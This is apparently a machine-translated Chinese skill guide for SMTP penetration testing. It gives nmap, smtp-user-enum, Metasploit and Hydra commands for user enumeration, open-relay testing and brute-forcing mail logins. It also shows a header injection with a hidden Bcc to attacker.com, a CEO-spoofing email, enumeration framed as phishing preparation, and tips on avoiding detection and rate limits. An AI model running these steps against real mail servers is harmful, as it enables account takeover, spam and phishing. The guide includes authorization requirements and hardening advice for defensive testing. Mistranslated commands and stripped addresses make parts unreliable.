# SMTP 渗透测试 ## 目的对 SMTP（简单邮件传输协议）服务器进行全面的安全评估，以识别开放中继、用户枚举、弱身份验证和错误配置等漏洞。该技能涵盖横幅抓取、用户枚举技术、中继测试、暴力攻击和安全强化建议。 ## 先决条件 ### 所需工具 # Nmap 与 SMTP 脚本 sudo apt-get 安装 nmap # 网络猫 sudo apt-get install netcat # Hydra 用于暴力破解 sudo apt-get 安装 Hydra # SMTP用户枚举工具 sudo apt-get install smtp-user-enum # Metasploit 框架微软控制台 ### 所需知识 * SMTP协议基础 * 电子邮件架构（MTA、MDA、MUA） * DNS 和 MX 记录 * 网络协议 ### 所需访问权限 * 目标 SMTP 服务器 IP/主机名 * 测试的书面授权 * 用于枚举和暴力破解的单词表 ## 输出和可交付成果 1. **SMTP 安全评估报告** \- 全面的漏洞发现 2. **用户枚举结果** \- 发现有效的电子邮件地址 3. **中继测试结果** \- 开放中继状态和利用潜力 4. **修复建议** \- 安全强化指南 ## 核心工作流程 ### 第 1 阶段：SMTP 架构理解了解 SMTP 组件和工作流程： SMTP 组件： - 邮件传输代理 (MTA)：在服务器之间传输电子邮件 - 邮件传送代理 (MDA)：将电子邮件传送到收件人邮箱 - 邮件用户代理（MUA）：电子邮件客户端软件 SMTP 端口： - 端口 25：标准 SMTP（通常被 ISP 阻止） - 端口 465：基于 SSL 的 SMTP（已弃用但仍在使用） - 端口 587：使用 STARTTLS 进行 SMTP 提交 - 端口 2525：备用 SMTP 端口 SMTP 工作流程： 1. 发件人 MUA → 发件人 MTA（传出） 2. 发件人 MTA → 收件人 MX 的 DNS 查找 3. 发件人 MTA → 收件人 MTA（中继） 4. 收件人 MTA → 收件人 MDA 5. 收件人 MDA → 收件人 MUA（通过 IMAP/POP3 检索） ### 第 2 阶段：SMTP 服务发现识别 SMTP 服务器和版本： # 发现 SMTP 端口 nmap -p 25,465,587,2525 -sV TARGET_IP # 攻击性服务检测 nmap -sV -sC -p 25 TARGET_IP # SMTP 特定脚本 nmap --script=smtp-* -p 25 TARGET_IP # 发现域名的MX记录挖掘 MX target.com nslookup -type=mx target.com 主机-t mx target.com ### 第三阶段：抓取横幅检索 SMTP 服务器信息： # 使用远程登录远程登录 TARGET_IP 25 # 响应：220 mail.target.com ESMTP Postfix # 使用网络猫数控 TARGET_IP 25 # 响应：220 mail.target.com ESMTP # 使用 Nmap nmap -sV -p 25 TARGET_IP # 版本检测提取banner信息 # 手动 SMTP 命令 EHLO测试 # 响应显示支持的扩展解析横幅信息：横幅显示： - 服务器软件（Postfix、Sendmail、Exchange） - 版本信息 - 主机名 - 支持的 SMTP 扩展（STARTTLS、AUTH 等） ### 第 4 阶段：SMTP 命令枚举测试可用的 SMTP 命令： # 连接并测试命令数控 TARGET_IP 25 # 初始问候语 EHLO 攻击者.com # 响应显示功能： 250-mail.target.com 250-流水线 250-尺寸 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH 普通登录 250-8位MIME 250 DSN 要测试的关键命令： # VRFY - 验证用户是否存在 VRFY 管理员 250 2.1.5 admin@target.com # EXPN - 扩展邮件列表 EXPN 员工 250 2.1.5 user1@target.com 250 2.1.5 user2@target.com # RCPT TO - 收件人验证邮件来自： RCPT 至： # 250 OK = 用户存在 # 550 = 用户不存在 ### 阶段 5：用户枚举枚举有效的电子邮件地址： # 将 smtp-user-enum 与 VRFY 一起使用 smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP # 使用 EXPN 方法 smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP # 使用RCPT方法 smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP # 指定端口和域 smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com 使用 Metasploit：使用辅助/扫描仪/smtp/smtp_enum 设置 ROSTS TARGET_IP 设置 USER_FILE /usr/share/wordlists/metasploit/unix_users.txt 将 UNIXONLY 设置为 true 跑使用 Nmap： # SMTP用户枚举脚本 nmap --script smtp-enum-users -p 25 TARGET_IP # 带有自定义用户列表 nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP ### 第 6 阶段：开放中继测试测试未经授权的电子邮件转发： # 使用 Nmap nmap -p 25 --script smtp-open-relay TARGET_IP # 通过 Telnet 手动测试远程登录 TARGET_IP 25 HELO 攻击者.com 邮件来自： RCPT 至：数据主题：继电器测试这是一个测试。。退出 # 如果接受（250 OK），服务器打开中继使用 Metasploit：使用辅助/扫描仪/smtp/smtp_relay 设置 ROSTS TARGET_IP 跑测试变化： # 测试不同的发送者/接收者组合邮件来自：<> 邮件来自：邮件来自： RCPT 至： RCPT 至：<"test@external.com"> RCPT 至： ### 第 7 阶段：暴力验证测试弱 SMTP 凭据： # 使用九头蛇 Hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP # 使用特定端口和 SSL Hydra -l admin -P 密码.txt -s 465 -S TARGET_IP smtp # 多个用户 Hydra -L 用户.txt -P 密码.txt TARGET_IP smtp # 详细输出 Hydra -l admin -P 密码.txt smtp://TARGET_IP -V 使用美杜莎： medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp 使用 Metasploit：使用辅助/扫描仪/smtp/smtp_login 设置 ROSTS TARGET_IP 设置 USER_FILE /path/to/users.txt 设置 PASS_FILE /path/to/passwords.txt 将 VERBOSE 设置为 true 跑 ### 第 8 阶段：SMTP 命令注入测试命令注入漏洞： # 标头注入测试邮件来自： RCPT 至：数据主题：测试密件抄送：hidden@attacker.com X-Injected：恶意标头注入内容。电子邮件欺骗测试： # 欺骗性发件人邮件来自： RCPT 至：数据发件人：首席执行官至：employee@target.com 主题：紧急请求请立即处理此请求。。 ### 第 9 阶段：TLS/SSL 安全测试测试加密配置： # 检查 STARTTLS 支持 openssl s_client -connect TARGET_IP:25 -starttls smtp # 直接 SSL 连接（端口 465） openssl s_client -connect TARGET_IP:465 # 查看证书详细信息 openssl s_client -connect TARGET_IP:25 -starttls smtp 2>/dev/null | openssl s_client -connect TARGET_IP:25 -starttls smtp 2>/dev/null | openssl x509-noout-文本 # 测试 TLS 版本 nmap --script ssl-enum-ciphers -p 25 TARGET_IP ### 第 10 阶段：SPF、DKIM、DMARC 分析检查邮箱认证记录： # SPF记录查找挖掘 TXT target.com | grep SPF nslookup -type=txt target.com # DKIM记录查找 dig TXT 选择器._domainkey.target.com # DMARC 记录查找挖掘 TXT _dmarc.target.com # 分析SPF策略 # v=spf1 include:_spf.google.com -all # -all = 严格（失败），~all = 软失败，?all = 中性 ## 快速参考 ### 基本 SMTP 命令命令 |目的|示例 ---|---|--- 直升机 |识别客户 | `HELO client.com` 埃洛 |扩展 HELO | `EHLO client.com` 邮件来自 |设置发件人 | `邮件来自：` RCPT 至 |设置收件人| `RCPT 至：` 数据|开始消息正文 | `数据` VRFY|验证用户 | `VRFY 管理员` 指数 |展开别名 | `EXPN 工作人员` 退出 |结束会议 | `退出` ### SMTP 响应代码代码|含义 ---|--- 220 | 220服务就绪 221 | 221关闭连接 250 | 250确定/请求的操作已完成 354 | 354开始邮件输入 421 | 421服务不可用 450 | 450邮箱不可用 550 | 550用户未知/未找到邮箱 553 | 553邮箱名称不允许 ### 枚举工具命令工具|命令 ---|--- smtp 用户枚举 | `smtp-user-enum -M VRFY -U users.txt -t IP` 地图 | `nmap --script smtp-enum-users -p 25 IP` 元分析 | `使用辅助/扫描仪/smtp/smtp_enum` 网猫 | `nc IP 25` 然后手动命令 ### 常见漏洞漏洞|风险|测试方法 ---|---|--- 开放中继|高|与外部接收者的中继测试用户枚举 |中等| VRFY/EXPN/RCPT 命令横幅披露|低|抢横幅弱身份验证 |高|暴力攻击没有 TLS |中等|开始TLS测试缺少 SPF/DKIM |中等| DNS记录查找 ## 约束和限制 ### 法律要求 * 仅测试您拥有或有权测试的 SMTP 服务器 * 发送垃圾邮件或恶意电子邮件是非法的 * 记录所有测试活动 * 不要滥用已发现的开放中继 ### 技术限制 * VRFY/EXPN 在现代服务器上经常被禁用 * 速率限制可能会减慢枚举速度 * 某些服务器对有效/无效用户的响应相同 * 灰名单可能会延迟枚举响应 ### 道德界限 * 切勿通过发现的中继发送实际的垃圾邮件 * 请勿收集电子邮件地址用于恶意使用 * 向服务器管理员报告开放中继 * 仅将调查结果用于授权的安全改进 ## 示例 ### 示例 1：完成 SMTP 评估 **场景：** 邮件服务器全面安全评估 # 步骤1：服务发现 nmap -sV -sC -p 25,465,587 mail.target.com # 第 2 步：抓取横幅 nc mail.target.com 25 EHLO test.com 退出 # 第三步：用户枚举 smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com # 第四步：打开中继测试 nmap -p 25 --script smtp-open-relay mail.target.com # 步骤5：认证测试 Hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com # 第 6 步：TLS 检查 openssl s_client -connect mail.target.com:25 -starttls smtp # 第 7 步：检查电子邮件身份验证挖掘 TXT target.com | grep SPF 挖掘 TXT _dmarc.target.com ### 示例 2：用户枚举攻击 **场景：** 枚举有效用户以进行网络钓鱼准备 # 方法一：VRFY smtp-用户-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25 # 方法2：带有时序分析的RCPT smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com # 方法三：Metasploit 微软控制台使用辅助/扫描仪/smtp/smtp_enum 设置 RHOSTS 192.168.1.100 设置 USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt 跑 # 结果显示有效用户 [+] 192.168.1.100:25 - 找到用户：admin [+] 192.168.1.100:25 - 找到用户：root [+] 192.168.1.100:25 - 找到用户：postmaster ### 示例 3：开放中继利用 **场景：** 测试并记录开放中继漏洞 # 通过 Telnet 测试 telnet mail.target.com 25 HELO 攻击者.com 邮件来自： RCPT 至： # 如果 250 正常 - 脆弱 # 使用 Nmap 记录 nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com # 输出： # 港口国服务 # 25/tcp 打开smtp # |_smtp-open-relay：服务器是开放中继（14/16 测试） ## 故障排除 ### 连接被拒绝 **问题：** 无法连接到 SMTP 端口 **解决方案：** 1. 验证端口是否打开：`nmap -p 25 TARGET` 2.检查两端防火墙规则 3. ISP可能会阻止端口25出站 4. 尝试其他端口（587、465） 5.使用VPN或不同网络 ### VRFY/EXPN 已禁用 **问题：** 服务器拒绝 VRFY 和 EXPN 命令 **解决方案：** 1.使用RCPT TO方法进行枚举 2. 分析响应时间差异 3. 检查响应代码变化 4.非高峰时段尝试 5. 使用较慢的枚举来避免检测 ### 暴力破解被阻止 **问题：** 帐户锁定或速率限制 **解决方案：** 1.减慢攻击速度：`Hydra -W 5 ...` 2.使用不同的源IP 3. 关注目标密码列表 4. 尝试密码喷射 5. 检查fail2ban或类似的保护 ### SSL/TLS 错误 **问题：** 无法建立加密连接 **解决方案：** 1. 检查正确的端口（SSL 为 465，STARTTLS 为 25/587） 2. 验证服务器支持 STARTTLS: `EHLO` 响应 3.使用适当的openssl命令 4. 检查证书问题 5.尝试不同的TLS版本 ## 安全建议 ### 对于管理员 1. **禁用开放中继** \- 需要身份验证才能进行外部传递 2. **禁用 VRFY/EXPN** \- 防止用户枚举 3. **强制 TLS** \- 所有连接都需要 STARTTLS 4. **实施 SPF/DKIM/DMARC** \- 防止电子邮件欺骗 5. **速率限制** \-防止暴力攻击 6. **帐户锁定** \- 尝试失败后锁定帐户 7. **Banner Hardening** \- 最大限度减少服务器信息泄露 8. **日志监控** \- 可疑活动警报 9. **补丁管理** \- 保持 SMTP 软件更新 10. **访问控制** \- 将 SMTP 限制为授权 IP

SMTP渗透测试

包含技能